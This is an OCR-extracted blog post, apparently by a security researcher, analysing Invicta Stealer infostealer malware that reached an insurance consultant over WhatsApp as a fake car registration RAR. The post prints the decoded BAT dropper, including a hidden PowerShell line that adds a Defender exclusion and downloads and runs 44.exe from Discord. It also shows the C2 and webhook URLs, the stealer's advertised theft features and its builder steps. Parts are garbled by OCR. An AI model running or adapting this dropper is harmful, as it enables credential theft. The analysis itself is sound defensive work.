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Introduction

In recent years, when we look at cybersecurity incidents involving prominent
entities such as Uber, Airbus, Grand Theft Auto VI, and similar cases, we
observe that malicious software, specifically infostealers designed for
information theft, has come to the forefront. These types of malware are
increasingly playing infostealers a significant role in the cybercrime

ecosystem.

Research indicates that in 2023, cybersecurity incidents related to this type
of malicious software doubled compared to the year 2022. Particularly in
Russian markets, there is a notable increase, with logs stolen and offered

for sale by these malicious programs showing a 690% surge since 2021.


https://www.mertsarica.com/information-thieves/
https://www.anomali.com/blog/anomali-cyber-watch-uber-and-gta-6-were-breached-redline-bundle-file-advertises-itself-on-youtube-supply-chain-attack-via-ecommerce-fishpig-extensions-and-more
https://www.infosecurity-magazine.com/news/pirated-software-cause-airbus/
https://www.anomali.com/blog/anomali-cyber-watch-uber-and-gta-6-were-breached-redline-bundle-file-advertises-itself-on-youtube-supply-chain-attack-via-ecommerce-fishpig-extensions-and-more
https://socradar.io/quick-facts-on-the-worlds-top-infostealer-malware-threats/
https://socradar.io/quick-facts-on-the-worlds-top-infostealer-malware-threats/
https://www.scmagazine.com/news/infostealer-incidents-more-than-doubled-in-q1-2023
https://www.secureworks.com/about/press/infostealer-market-booming-despite-genesis-market-and-raidforums-takedowns
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What is Information Stealer Malware?

Information stealer malware is a type of software that steals personal and
financial information, including usernames and passwords related to
applications and systems such as VPN, RDP, and SSH. Subsequently, this stolen
information is sent to the malware’s developer. Often, these malicious
programs are sold or leased by their developers as a malware-as-a-service
(MaaS) model on a weekly or monthly basis to initial access brokers (IAB).

The information stolen by malware is later sold to threat actors, operators
(customers), on underground forums, and Russian marketplaces (Russian Market)
by initial access brokers (IAB), which are common meeting places for
cybercriminals.


https://any.run/malware-trends/
https://socradar.io/what-is-stealer-as-a-service/
https://socradar.io/growing-cybercrime-outsourcing-model-initial-access-brokers/
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Particularly, cyber threat intelligence firms like SOCRadar closely monitor
these places and warn their clients about the information offered for sale.
Thanks to these alerts, enterprises can quickly identify and freeze the
accounts of their employees, customers and suppliers, preventing the misuse
of this information by cybercriminals. Otherwise, for example, a threat actor
who plans to carry out a ransom attack on enterprise X can easily realize his
evil ambitions with this access information purchased from the initial access
broker for $10.


https://www.secureworks.com/
https://socradar.io/
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3-2-1 Action!

Our story begins on July 25, 2023, with a WhatsApp message from Bartu KILIC's
relative. His relative, who is an insurance consultant, becomes suspicious
when someone seeking to get car insurance sends a file

(skoda superb2013 1.6ti ruhsat.rar) labeled as a registration through
WhatsApp. Deciding to bring this matter to Bartu, who is a cybersecurity
expert, the relative shares the details. Bartu, during a conversation about
recent attempts of fraud, shares this story with me, sparking my interest.
Subsequently, as I begin to investigate, events unfold around this intriguing
topic.

OQur story begins with a WhatsApp message from Bartu KILIC‘s relative on July
25, 2023. His relative, who is an insurance consultant, is suspicious of a
file (skoda superb2013 1.6ti ruhsat.rar) sent to him via WhatsApp under the
name of a registration by a person who wants to get car insurance and decides
to bring the issue to Bartu, a cyber security expert. Bartu shared this story
with me while we were chatting about recent fraud attempts, and events
unfolded as I started to investigate this topic, which intrigued me very
much.

Some time after I asked Bartu to ask his relative to review the file, he
shared that the file had been deleted and therefore he was unable to obtain
it. Since I had the scammer’s mobile phone number (+90 545 466 89 52), I


https://socradar.io/extended-threat-intelligence/
https://www.linkedin.com/in/bartukilic/
https://www.virustotal.com/gui/file/df28ad6f74180a512e460289356c3d957bf3b2614649002fff023b43653fc0ad/detection
https://www.linkedin.com/in/bartukilic/
https://www.virustotal.com/gui/file/df28ad6f74180a512e460289356c3d957bf3b2614649002fff023b43653fc0ad/detection

decided to contact the threat actor via WhatsApp. Introducing myself as an
employee of the insurance company’s headquarters (not only scammers or threat
actors impersonate trusted officials, customer service representatives :)), I
started to correspond with the threat actor and soon I was able to obtain the
suspicious file that is the subject of the story.

@ Dolandirici
<

YESTERDAY
@ Messages are end-to-end encrypted. No one outside of this chat, not even WhatsApp, can read or listen to them. Click to learn more.

Merhaba. 13:34

Sigorta acentemiz sizin ruhsati gériintiileyememis. Tekrar gdnderebilir misiniz ?

13:36 v/

Burdanmu iletiyim ..,

Miimkiinse. Acentenin PDF siiriimiinde problem var saniyorum merkez ofis olarak
bizden destek istedi. Whatsapp desktop oldugu igin buradan daha hizli agabilirim.

15:41 v/
tamamdir iletiyorum .

bilgisayar basindamisiniz hala ..,

Evet, gece 12'de mesaimiz bitiyor efendim. 15:42 &/

Tamamdir ..,

10 dk ya atiyorum 15:46

Tamamdir. ;...

@ & Type a message




®  Dolandirici
>

YESTERDAY
b skoda__superb2013_1.6ti_ruhsat.rar

RAR - 977 B

Buyrun .;..,

Kurumsal Whatsapp hattindan gériisme yapamiyoruz efendim. 15:53

Kontrol edip bilgi verecegim. 15:53

Tamamdir Bekliyorum 15:53

Durum nedir ;..o

Mac bilgisayarimda galistiramadim maalesef destek masasindan yardim istedim.

16:00

Hata nedir 16:00

acarken ..o

?
® 16:03

TextEdit diye bir uygulama ile aciliyor, kodlar agiliyor PDF yerine. . %

tamamdir ...

Dolandirici

windows dan denerseniz 16:05
: YESTERDAY

daha saglikli olucaktir ;. -

bence 545

Tamamdir destek masasi ¢agrisina bu notu belirtiyorum. Anlayisiniz igin tesekkdirler.
16:06 &/

Tamamdir sagolun 16:07

buglinyada ..~

yarin fiyat almam gerek ..~

Yarin mesai saati sonuna kadar sorun ¢oziilmis olacaktir. ..o

Suan 5.0

olmuycak yani degilmi 16410

windows bir isletim sisteminde calisir bence TS

Merkez ofis birimi olarak mac bilgisayarlar kullaniyoruz, ¢alisma arkadagimdan da

rica ettim o da maalesef agamad.. 16:11

Destek merkezinde nobetgi olmadigi igin gagrimiz sabah saat 9:00'dan sonra

yanitlanabilecekmis maalesef. 1612 &




Dolandirici

Windowstanmid enedi 1613 YESTERDAY

acaba ;g5

Maalesef. Tim birim mac bilgisayar kullanmaktadir. 5..c ,,

Windows yokmu yarin 16115

gelmezmi yani 16415

Destek masasinda hem Windows hem Mac bilgisayarlar var bu nedenle ¢éziilecegini

diigtniyorum. 16117

Ruhsat bilginizi bagka sekilde acabilirsem o gekilde de génderebilirsiniz. ...,

tamamdir yarin haber bekliyorum 6 T

Sehir disindayim ...

$uan bagka tirld yardimei olamayacagim. .., v

yarini bekleyebiilirim 16417

sorun degil ..,

Tesekkdrler anlayiginiz igin ...

Dolandirici (o}

Tegekkirler anlayiginizigin ..,

Sagolun ..o

hayirli glinler 16118

lyi akgamlar. ...

-r

Merhaba 06:48

iyiginler o

durum nedir 06:48

Efendim ben de size yazacaktim. Arkadaglar hata aliyorlarmis "powershell error"

diye. Acaba bagka bir ruhsat kopyasi gonderebilir misiniz ? 06:53 &/

i iniz?
Windowstanmi denediniz? 06:56

Acaba g o

Evet simdi kontrol ettim, Windows 10 Enterprise diye ¢agriya not disilmiis. 06:57

Time Period 7/25/23, 13:34 — 7/26/23, 06:57 | Translation in English

Mert: Hello.

Mert: Our insurance agency couldn’t view your registration file. Could you




resend it, please?

Threat Actor: Shall I send it from here?

Mert: If possible. I think there’s an issue with the PDF version at the
agency; they requested support from us at the headquarters. Since I'm on
WhatsApp desktop, I can open it easily from here.

Threat Actor: Alright, I'll send it.

Threat Actor: Are you still at the computer?

Mert: Yes, sir. Our working hours end at midnight.

Threat Actor: Okay.

Threat Actor: I’'ll send it in 10 minutes.

Mert: Alright.

Threat Actor: skoda superb2013 1.6ti ruhsat.rar (file attached)

skoda superb2013 1.6ti ruhsat.rar

Threat Actor: Here you go.

Mert: Unfortunately, we cannot receive calls from the corporate WhatsApp
line.

Mert: I will check and provide information.

Threat Actor: Alright, I'll be waiting.

Threat Actor: What’s the status?

Mert: I couldn’t run it on my Mac; unfortunately, I asked for help from the
support team.

Threat Actor: What’s the error when opening it?

Threat Actor: ?

Mert: It opens with an application called TextEdit; codes are displayed on
the screen instead of a PDF.

Threat Actor: Alright.

Threat Actor: If you try on Windows, it will be more reliable, I think.
Mert: Alright, I'll drop this note into the support team ticket. Thank you
for your understanding.

Threat Actor: Alright, thank you.

Threat Actor: I need to get a quote today or tomorrow.

Mert: The issue will be resolved by the end of business hours tomorrow.
Threat Actor: I think it works on a Windows operating system.

Mert: As the headquarters team, we only use Mac computers. I also asked my
colleague, but unfortunately, he couldn’t open it either.

Mert: Since there’s no one on duty at the support team, our ticket can only
be answered after 9:00 in the morning.

Threat Actor: Did it work on Windows, by any chance?

Threat Actor: I wonder.



Mert: Unfortunately not. All teams use Mac computers.

Threat Actor: Is there anyway to run it on Windows tomorrow?

Mert: In the support team, there are both Windows and Mac computers, so I
think it will be resolved.

Mert: If I can open your registraton file in another way, I’'ll send it that
way .

Threat Actor: Alright, I’'ll wait for tomorrow []

Threat Actor: I'm out of town.

Mert: At the moment, I can’t help in any other way.

Threat Actor: I can wait for tomorrow.

Threat Actor: No problem.

Mert: Thank you for your understanding.

Threat Actor: Thank you.

Threat Actor: Have a good day.

Mert: Good evening.

Threat Actor: Hello.

Threat Actor: Good day.

Threat Actor: What’s the status?

Mert: Sir, I was about to write to you as well. My colleagues are
encountering an error, something about a “powershell error.” Could you send
another copy of the registration file?

Threat Actor: Have you tried it on Windows?

Threat Actor: Maybe.

Mert: Yes, I just checked, and it’s noted as “Windows 10 Enterprise” in the
ticket.

Static Suspicious File Analysis
(44 .exe)

After opening the “skoda_ superb2013 1.6ti ruhsat.rar” file on a virtual
Windows 11 operating system, I immediately noticed the

“skoda superb2013 1.6ti ruhsat.bat” file. When I opened the file with
Notepad, a character string encoded in UTF-16 appeared. Upon examining the
BAT file with the HxD hex editor, I observed that the threat actor utilized
the byte-order mark (BOM) method to prevent the disclosure of commands with
text editors.


https://mh-nexus.de/en/hxd/
https://en.wikipedia.org/wiki/Byte_order_mark
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St1, Sut1 %100 Macintosh (CR) UTF-16 LE
———
§ g HxD - [C:\Users\mertrix\Desktop\skoda__superb2013_1.6ti_ruhsat\skoda__superb2013_1.6ti_ruhsat.bat] = @l X
) File Edit Search View Analysis Tools Window Help - & X
vl E Gy 16 o] Windows (ANS) v
] skoda_superb2013_1.6ti_ruhsat.bat Special editors x ‘
S OR 0B OC OD QOE 0O ecoded text Data inspector

Offset(h) 00 01 02 03 04 05 06 07 08
oo FF FE OA OD 73 65 74 20 22
000000 25 24 22 0D ORA €3 €4 20 2F

S
(]
o
¥}
t
(=]
w
]
2]
o
S
]

0 61 72 &1 €D 73 3D ¥pb..set "params= M-
0 %*"..cd /d "$~dp ‘ 4 4> »

0
2 &
00000020 30 22 20 26 26 20 28 20 €9 €6 20 €5 78 63 73 74 0" && ( if exist Binary (3 bit) 00100000
00000030 20 22 25 74 65 €D 70 25 5C 67 65 74 61 64 6D 69  "Stempt\getadmi Int8 gote: 32
00000040 €E 2E 76 €2 73 22 20 €4 €5 6C 20 22 25 74 65 6D n.vbs" del "item e gt |2
00000050 70 25 5C 67 65 74 61 €4 €D €9 6E 2E 76 62 73 22 pt\getadmin.vbs"
00000060 20 29 20 26 26 20 66 73 75 74 €9 6C p0 €4 69 72 ) && fsucilfldir It16 gota: | 25632
00000070 74 79 20 71 75 €5 72 79 20 25 73 79 73 74 €5 €D ty guery Isystem Uint16 goto: 25632
00000080 €4 72 €9 76 65 25 20 31 3E 6E 75 6C 20 32 3E 6E drive: 1>nul 2>n Int24 goto: 6906912
00000090 75 6C 20 7C 7C 20 28 20 20 €5 63 63 6F 20 53 65 wul || ( echo Se Ulnt24 goto; 6906012
000000R0 74 20 55 41 43 20 3D 20 43 72 65 61 74 65 4F 62 t UAC = CreateOb e goto: 1919500536
000000BO 6B 65 €3 74 SE 22 22 53 68 65 6C 6C 2E 41 70 70 ject”("Shell.App
000000CO 6C 69 63 61 74 69 6F 6E 22 S5E 29 20 3A 20 55 41 lication"") : UA Ulnt32 goto: | 1919509536
000000D0 43 2E 53 62 65 6C 6C 45 78 €5 63 75 74 65 20 22 C.ShellExecute " Int64 goto: 8151648866583274528
000000ED €3 6D 64 2E 65 73 65 22 2C 20 22 2F 6B 20 63 64 cmd.exe", "/k cd Ulnt64 goto: 8151648866583274528
000000F0 20 22 22 25 7E 73 €4 70 30 22 22 20 26 26 20 25  ""%~sdp0"" && % irnaan B T ‘
00000100 7TE 73 30 20 25 70 61 72 61 €D 73 25 22 2C 20 22 ~s0 tparams:”, " Byte order ‘
00000110 22 2C 20 22 72 75 6E €1 73 22 2C 20 31 20 3E 3E ", "runas", 1 >> O il entian O Big endian ‘
00000120 20 22 25 74 65 €D 70 25 5C €7 €5 74 61 64 €D 63  "stemp3\getadmi ‘
00000130 €E 2E 76 €2 73 22 20 26 26 20 22 25 74 65 6D 70 n.vbs" && "itemp () Hexadecimal basis (for integral numbers)
annnnlAn AC _C/~ £ £C 7A_Z1 £A_£N_£0_£T AT _TE £ 7T S = R e e e 1)
Offset(h): 6C Overwrite

When I examined the commands hidden behind this encoding, I observed that,
when the BAT file is executed, it first utilizes PowerShell commands to add
the C: directory to the exception list of Microsoft Defender, preventing the
detection of this malicious software by Microsoft Defender. Subsequently, it
downloads and executes a file named 44.exe from the instant messaging and
VoIP social platform Discord.


https://support.microsoft.com/en-us/windows/stay-protected-with-windows-security-2ae0363d-0ada-c064-8b56-6a39afb6a963
https://www.virustotal.com/gui/file/24137505cf75ee73172f98d999359bf5525b39c490fbf66894177da215698da7?nocache=1
https://discord.com/
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1 *new 1 - Notepad++ - o %

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?
sHHBRGE Dioehy % |EEE1ERETNZ® ® ED B

=] new 1 K!‘
i

3 |set "params=%*"

4 |cd /d "s~dp0" && ( if exist "stemp%\getadmin.vbs" del "%temp%\getadmin.vbs" ) && fsutil dirty query %systemdrivet 1>nul 2>nul || ( echo Set UAC = CreateObject”("Shell.Application"”) :
UAC.ShellExecute "cmd.exe", "/k cd ""%~sdp0"" && %~s0 $paramss”, "", "runas", 1 >> "$tempt\getadmin.vbs" && "$tempt\getadmin.vbs" && exit /B )

::[Bat To Exe Converter]

: 1 YAWZORAXOK+EWANk

:: fBw5plQidGe=

: 1 YAWZUBVtJxJWC13EQQIgSA==

: 1 ZR41UWNXIGUZRRNK
::Yhs/ulQjdF+5

: : cxAKpRVQAFKZSzk=
::cBs/ulQjdF+5

: 1 ZR410xFSAFKZSDk=

: :eBoioBt6dFKZSDk=

: 1 CRO6pXPTLADNWATEPCI=

: :egkzugNsPRVCHATEpCI=
:dAsiuh18IRvVCCXnZtBIQ

: CRY1uBh/LU+EWAnk
:¥YxYdrhs+aU+JeA==
:CXY6rQJ77hzQF1£EqQIQ
:2Q05rAF9TBnCCKaN+0xwdVs0
:ZQ05TAF9TAHYFVZEQQIQ
:eg0/rx1WNQPFEVWB+KMOLVS JDGQ=
+ £BE1 rQZWNQPFEVWB+KMOLVS JDGQ=
:CRo1qwZ3JBVQF1£EqQI0
:dhATUBVWLU+EWDk=
:YQO3rBFZNR3SWATE1A==

: dhAmSQZ 3MwENWATE1A:
:200/VhVQMO3MEVWALBOWSA==
:2982qx1/OA3MEVWALBOWSA==
:dhATpRFWIBYZRROk
:Zh4grvQjdCyDJIGyX8VAjFAhYTROGM3MGI rAP4/ 20/ 9a+g200bqTleVLVu9PS8Fcggy3Gqcliotg==
:YB416EK+ZWE=

0N e

:978£952a14a936cc963da21al35fa983

powershell -w hidden -c Add-MpPreference -ExclusionPath "C:";Start-BitsTransfer -Source "https://cdn.discordapp.com/attachments/1133485730606350488/1133485852429910066/44.exe™ -Destination
"C:\44.exe"; Invoke-expression "C:\44.exe"

Normal text file length : 1,354 lines : 39 Ln:2 Col:1 Pos:7 Windows (CRLF)  UTF-8 INS

Dynamic Suspicious File Analysis
(44 .exe)

Up to this point, setting aside this BAT file, which has been clearly
designed for highly suspicious operations, I decided to download the file
named 44.exe, upload it to the interactive malware analysis platform called
ANY.RUN, run it, and examine the logs.

When I looked at the logs created on the operating system by the 44.exe
process, the significant ones include:

It was retrieving the geographical location information and basic ASN details
of the IP address of the system it was executed through IPinfo.

It was obtaining the available Gofile server information to upload the stolen
files from the operating system to the Gofile file-sharing platform.

The stolen files were uploaded to the Gofile platform, and it was obtaining
the shareable download link.

The download link was being sent to the developer of the malware.
(http://antonybarlett[.]site:2095/stats).

The download link address was being sent to the Discord channel of the threat
actor through a Webhook.


https://any.run/
https://app.any.run/tasks/c471ff13-857a-4a87-b8ff-33deadb30c58/
http://ipinfo.io/json
https://gofile.io/
https://www.virustotal.com/gui/domain/antonybarlett.site
https://discord.com/api/webhooks/1133485749174534244/bn3XWahnRDXI_2tbBWpTonpflGrU11zDgpV48h1kuiyjtsbPuHIbN5QgmDuwsRlvit4r

C m 25 app.any.runftasks/c471ff13-857a-4a87-b8ff-33deadb30c58/

HTTP Requests 298 | Connections DNS Requests Threats 6
Timeshift Headers Rep PID Process name CN URL
3465 ms GET | 200: 0K 3944 44exe http://ipinfo.io/json

5124 ms GET | 200: OK 3944 44.exe https://api.gofile.io/getServer

6884 ms POST | 200: OK ? 44.exe https://store5.gofile.io/uploadFile

New task
B 641 POST | 200: 0K 448 httpw/antonybarlett site:2095/
POST | 204: No Content 200 ds.exe https:/discord.com/api/webhooks/ T J@574917.

~N

Returns the geolocation information
for an IP address and basic ASN
details

Posts the sharable download link to

the threat actor’s Discord channel.
Uploads files and gets a shareable

download link.

Static discovering

? json
Json Downloaded | JSON data (247.00 b)
Mime: application/json  Entropy: 4.83

Main HEX

¥ PCAP

247b ¥
42b

4.85Kb
361b

139b
4b

195b

+
1
+
1
+
1

* SSL Keys
Content

binary
binary
binary
binary
binary
text

binary

a9 ©

A2 Malicious activity

4.exe
MD5: 9A2CFAT1CA74ADD2F32CA488680DD72BD

S
Win10 64 bit

Indicators: 3%

¥ Get sample

Text report

Returns the best server
available to receive uploads

es

44.exe

-
%

924 |€OM slui.

Sends the sharable download
link to the web server of the COM  Del
malware developer.

MDS 5538C1EB020433D410389B391E82BFE8

SHA1 83D4E406DDDC2381A1055ABC932B2EADD563B132
SHA256 55AD7ACF2213B11B93AA673C8640F19773FE29F15289F60517E37202E6AD3647
SSDEEP 6:0U7HapyJdX/yJdDT5fdu+6ZuJddW35jY:JaUTX6T/BMuTK5k

EXIF (JSON)

JSON

City Madrid
Country ES

Ip 45.130.136.9

Loc 40.4165,-3.7026

Org AS9009 M247 Europe SRL

Postal 28004

Readme https://ipinfo.io/missingauth

Region Madrid

Timezone Europe/Madrid

Static discovering

? getServer
(RIS Downloaded | JSON data (42.00 b)
Mime: application/json  Entropy: 3.62

Main HEX

MDS 49F2DE7E3957DC6159D7E823F57AC68B
SHA1 742CE6303CECCESA1320311FFE1173F80A7D8E42
SHA256 8255E148857A3533ABE2CF8213966D1A946C5CA54CFCDFE7AF4B41D03545BB75

SSDEEP 3:YWR4bIIWAXY:YWyblirY
EXIF (JSON)

JSON

DataServer store5

Status ok

tart: 25.07.2023,19:29  Total time: 653 s

evasion

=) 10c ) Restart

Graph Export v

Only important

PE

.exe -Embedding

ivery Optimization User

5880 [COM FileCoAuth.exe -Embedding

Look up on VirusTotal

) Submit to analyze

Look up on VirusTotal

) Submit to analyze

¥ Download

¥ Download




Static discovering

uploadFile

Static discovering

Request

stats

? uploadFile

Look up on VirusTotal

) Submitto analyze ¥ Download

Downloaded | JSON data (361.00 b)
Mime: application/json  Entropy: 5.31

Main HEX

MDS 2E227E687D319E49C23BAC65C5573B2E

SHA1 F53F3297959E0492FA8B5CE33C7BDD82ACCBC2CE

SHA256 35E2FD69F3EF2770EEC882669381A907E29BDDC29235CEFAF49D6ACIBAF0345A

SSDEEP 6:YWybli+0fx5ZHJrKR40fRyER2Z pxsdFVg8/cAQfyvkoUJTQWRKB+KG7Ds1:YWybliBHZKR11R26dYRrfyvkzZTQWKD1

EXIF (JSON)

JSON

DataCode
DataDownloadPage
DataFileld
DataFileName
DataGuestToken
DataMd5
DataParentFolder

Status

? stats

e3TS0x

https://gofile.io/d/e3TS0x

f90fdd2a-cf72-4cc7-a074-6a5aa7bc2a0d
_WO0_wEO_aE0_pE0_ES_{65b178c1-239¢c-11ed-b4aa-806e6f6e6963}_MKt6éc8fchP.zip
Ib2ws9FGfWVruHFoHw3LdJJTTt3EIBgk

f9a36b5a4b8cc8f522170a89e78ea8fb

24932005-0e03-46ad-b50 2b450bd1

ok

Look up on VirusTotal

) Submitto analyze ¥ Download

Downloaded | JSON data (139.00 b)
Mime: application/json  Entropy: 5.01

Main HEX

MDS5 4072E4D2B6EEC4111C3A475D71410879

SHA1 5D5A73268AE8507C021DC18DEBACI3D79D977F67

SHA256 7AF7542DEC8BC817ED6B2FAE8D7F8EA97C838C4C36F933D573C5B5211CB8CA69
SSDEEP 3:YGKad1NaxL1sHMjhLtVFSvZfZ6fuRGySEUJ6dDDMQxb:YGK+WOyhRVFSvBsyJUJTQN

EXIF (JSON)

JSON

Content

https://gofile.io/d/e3TS0x [W: 0 |WE: 0 [aE: 0 [wP: 0 [B: 0 [EUNK: 1 |C: ES |H: {65b178c1-239¢-1...




Static‘Discovering X

Bi8XWainRBXISZt6BWp TonpfIGrUT1 2DgB¥48h 1kuiyjtsbPuHIbN5SQgmDuwsRIvit4r

> bn3XWahnRDXI_2tbBWpTonpflGrU11zDgpV48h1kuiyjtsbPuHIbN5QgmDuwsRlvit4r = Z Submit to analysis ¥ Download
A Saved request data

Mime: application/json
21 Look up on VirusTotal

Size: 195.00b

TrID - File Identifier Hashes

©) BICA9E7CICEACAEFFBDI495BECIPR23B

D) 954FF66DA1105732B2E9E45E3EBBDESCOBDAGCT6
DA6BEDBE7124599AB13D5FBBBDAE72EEES36E379ESDCOBD7A4B5B68389F76769

© 3:YGKad1NaxL1sHMjhLtVFSvZfZ6fuRGySEUJ6DDMOxztsLtFRFAZFHIF7XN/ : YGK+HOYhRVFSVBSyJUITQj .

TYPE UNKNOWN

HEX

https://gofile.io/d/e3TSOX [W: O [WE: O [aE: O [wP: 0 [B: O [EUNK: 1 |C: ES [H: {65b

178c1-239c-11ed-b4aa-806e6f6e6963} 1.1.1 Password: InvictaStealer | https://
ES e

When examining the fifth entry, I noticed the InvictaStealer tag in the HTTP
request and the Telegram address https://t.me/invicta stealer. Upon visiting
the Telegram channel, it became clear that this software is an information-
stealing malware (infostealer) of Russian origin, developed in the C++
programming language. The builder for this malware was freely available on
the GitHub storage platform.



Invicta Stealer [Ef€/ em] - (191267)

Invicta Stealer [E/ um]
201 subscribers

| Previous message

g N N Y T = PR

| Invicta Stealer [/ gm]
X Invicta Stealer — a powerful, free native stealer 3

3 This is a C++ stealer which is being actively improved upon, with the
help we receive from our active community.

[ BROWSERS

Information is obtained from all the profiles from all chromium-
based (the most used) browsers, and firefox.

We collect: credit card data, autofill, history, all extensions which

é include 71 crypto wallets and various authenticators, local storage,
downloads, and much more. Essentially, all the information is

% collected.

[ DISCORD
All of the discord tokens are extracted from: the regular client,
discord canary, ptb discord and browser local storage

[ CRYPTO
Wallet information is collected from 25 wallets, with new ones being
actively added.

[ SENSITIVE DIRECTORIES AND FILES

We have studied real world scenarios, and came up with advanced
filters that will fetch you sensitive information related to
cryptocurrency wallets, bank accounts, passwords, private keys, etc.
The stealer gets recently opened .txt files, recursively iterates
through the computer to find sensitive information, steals github
and visual studio code repositories (with bloat removed), gets .txt
files from desktop, documents, etc

[ FTP CLIENTS



Invicta Stealer [Ef</ em] - (191282)

Invicta Stealer [S/ gm]
201 subscribers

Pinned message
| 34 Invicta Stealer — a powerful, free native stealer 3 This is a C++ stealer whit

files from desktop, documents, etc

[ FTP CLIENTS
Information is obtained from WinSCP and FileZilla

r.i SYSTEM INFORMATION
We collect system information, which includes the HWID, IP,
timezone, computer language, RAM, CPU information, etc

[ ANTI-DEBUGGING, EVASION TECHNIQUES

We use anti-debug/anti-virustotal/anti-vm techniques which
complicate analysis of the malware. Your link will be encrypted in
the stealer file.

Sensitive operations are performed through syscalls, which make
them harder to detect by AVs and analysts, and all strings are
encrypted.

@ PRICE

We made the base version free to eliminate certain low quality
stealers from being used, and to drive future customers to our paid
version.

A paid version featuring a convenient HTTP panel and a custom file
filter will be released soon.

Install and use instructions are included in the channel

Contact us if you need help or have suggestions. We strive to be the
best.

@invicta_stealer

W3 4H1 @1 ® 632 ® edited 19:28




Invicta Stealer [Ef</mm] - (191279)

Invicta Stealer [EIS/ mm]
201 subscribers

Pinned message
| 34 Invicta Stealer — a powerful, free native stealer 3¢ This is a C++ stealer which

F 93 &1 V! ® 632 A edited 19:28

|
*  Invicta Stealer [BE/ um]
~ TUTORIAL

1. Download the Builder ZIP file
2. Run Builder.exe

- 3.Input discord webhook, or an URL to your HTTP server into the

. box

4. Click build

5. Patched stealer will be available in out/InvictaStealer.exe

https://github.com/simplybrin/Invicta-Stealer

\ & ® 506 13:12

Invicta Stealer [EfS/mm]
Update v1.1.0

- Bug fixes
- Add password manager support: keepass

- Steam: steal sessions, get installed games list and username
- System information: list all installed apps, get path of running
stealer, get windows version

04 ® 523 13:18
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£ Hack 4 Career. Inf... in LinkedIn

& github.com/simplybrin/Invicta-Stealer
Mert SARICA (mer... 1 Inbox - mert.saric...

— O simplybrin / Invicta-Stealer

Code -) Issues 1 0 Pull requests ») Actions [ Projects O Security

@ invicta-Stealer ru

¥ main ~

. simplybrin Update README.md

9 InvictaStealer Builder.zip

) README.md

README.md

Insights

Go to file Add file ~ <> Code ~

2 26 com

Y Invicta Stealer — a powerful, free native stealer >

This is a C++ stealer which is being actively improved upon, with the help we receive from our active community.

NOTE: THIS IS FOR EDUCATIONAL PURPOSES ONLY. YOU MAY NOT USE THIS FOR MALICIOUS PURPOSES.

™ BROWSERS

Information is obtained from all the profiles from all chromium-based (the most used) browsers, and firefox. We

*Invicta Stealer’s promotional video on its YouTube

) » & 0@ :

ES Other Bookmarks

7o 0

7 Star 15

About

Most powerful C++ stealer that's also
free

Releases 3

O Release v1.1.1 ( Lates

channel*

Dynamic Malicious File Analysis

(Builder.exe)

I downloaded the InvictaStealer Builder.zip file from the GitHub repository

belonging to the malware developer and began examining it by running it on my

virtual system. When the application is opened, it prompts the user to enter

a Discord Webhook or a URL, and upon pressing the Build button, it builds the

malicious software. For testing purposes, I entered AAAAAA.. in the

Webhook/Server URL section and successfully created the malicious software.


https://github.com/simplybrin/Invicta-Stealer
https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks

[ ] @ Windows 11 Home

I i - = ey
= ] X
out X =+
O New~ ¥ @ @ ® W Nsotr = Viw-
|
& v N > Invicta Stealer v1.1.1 > out v C Search out r
> Home Name Date modified Type Size
[l InvictaStealer - Copy.exe 4/6/2023 3:26 AM Application 2,227 KB
B Desktop (W] InvictaStealer.exe 7/26/2023 1:48 PM Application 2,227 KB
' Downloads
¥ |nvicta Stealer = O X

=] Documents

E Pictures

S Invicta Stealer

i3 videos Webhook/Server URL
AAAAAAAAAAAAAAA

> M This PC t.me/invicta stealer

2items 1 item selected 2.17 MB

" S Y Success X
A A A

e BuipSulieC.. e frl.. ‘ mer pestudid

 —7
Pl A

LS. @,\\f_, leossesel NUERS windbg.exe pestud

Zenmap GUI

0 Successfully patched. Working stealer is at ./out/InvictaStealer.exe

When I uploaded the malicious software to ANY.RUN to discover similarities
with 44.exe, I noticed a commonality in both pieces of software, which is the
web address http://antonybarlett[.]site:2095/stats. When I searched this
address on the VirusTotal malicious software analysis platform, I found that
it was flagged as suspicious by only SOCRadar and marked as unwanted (spam)
by Fortinet among security vendors.

HTTP Requests 8| Connections DNS Requests Threats 3 PCAP ¥ SSL Keys & Malicious activity
Timeshift Headers Content i
1 GET | 200: 0K 248b ¥ binary 2207AESFDBFFECFAESA

GET | 200: 0K y 80 InvictaS ofile.jo/getServer 42b 4 binary Total time: 6535
Win10 64 bit

NETWORK ¢

485Kb 1 binary
361b 4 binary

139b + binary
4b 4 text ¥ Get sample = loc ) Restart

POST | 200: OK

FILES

Indicators: A=g. 4
POST | 200: 0K

Public tasks
GET | 200: 0K 239Kb & compressed| | Textreport Graph ATTRCK Export ~

GET | 200: 0K 0 Micros pdate. S: g C v1/Ed 445b & binary

m 736b bil
POST | 200: OK i d * binary I

DEBUG

soon

97b 4 binary Processes Only important

GET | 200: 0K v co 445b ¥ binary v | 4080 InvictaStealerexe |PE
SxXT 49
) WerFault.exe -u-p4080-s928

96 |COM  slui.exe -Embedding

6 COM FileCoAuth.exe -Embedding



https://www.virustotal.com/gui/domain/antonybarlett.site
https://socradar.io/

Static discovering Look up on VirusTotal

@ i 3
Request ? stats 0 Submit to analyze = ¥ Download
Downloaded | JSON data (139.00 b)
E— Nev: .
. Mime: application/json  Entropy: 5.06

Main HEX

MDS 4F2453F3318139B419788F73CE880DOF

SHA1 D77B24743DC49BE14C089821942F2C2233D4910F

SHA256 0A6F793267AA2441B385DE9E086FEFB2A705E25D9BA9FFFE8835BC8BE141A7CE
SSDEEP 3:YGKad1NaxL1TrSAFVjhLtVFSvZfZ6fuRGySEUJ6dDDMQxb:YGK+WBIhRVFSvBsyJUJTQN

EXIF (JSON)

JSON

Content https://gofile.io/d/IxfR7r [W: 0 |wE: O |aE: 0 |wP: 0 [B: 0 [EUNK: 1 |C: ES |H: {65b178¢1-239¢-11...

C ¥ & virustotal.com/g

£ Hack 4 Career. Inf... jn Linkedin Mert SARICA (mer... f Inbox - mert.saric... Other Bookmarks

Z antonybarlett.site| Q N o (J € signin M

0 (D No security vendors flagged this domain as malicious = Similar ~ % Graph 4 API
/88 Creation Date Last Analysis Date
antonybarlett.site é)

5 months ago 2 days ago

media sharing

Community Score

DETECTION DETAILS RELATIONS COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis (D Do you want to automate checks?

Fortinet @ Spam SOCRadar @ Suspicious

Abusix @ Clean Acronis @ Clean

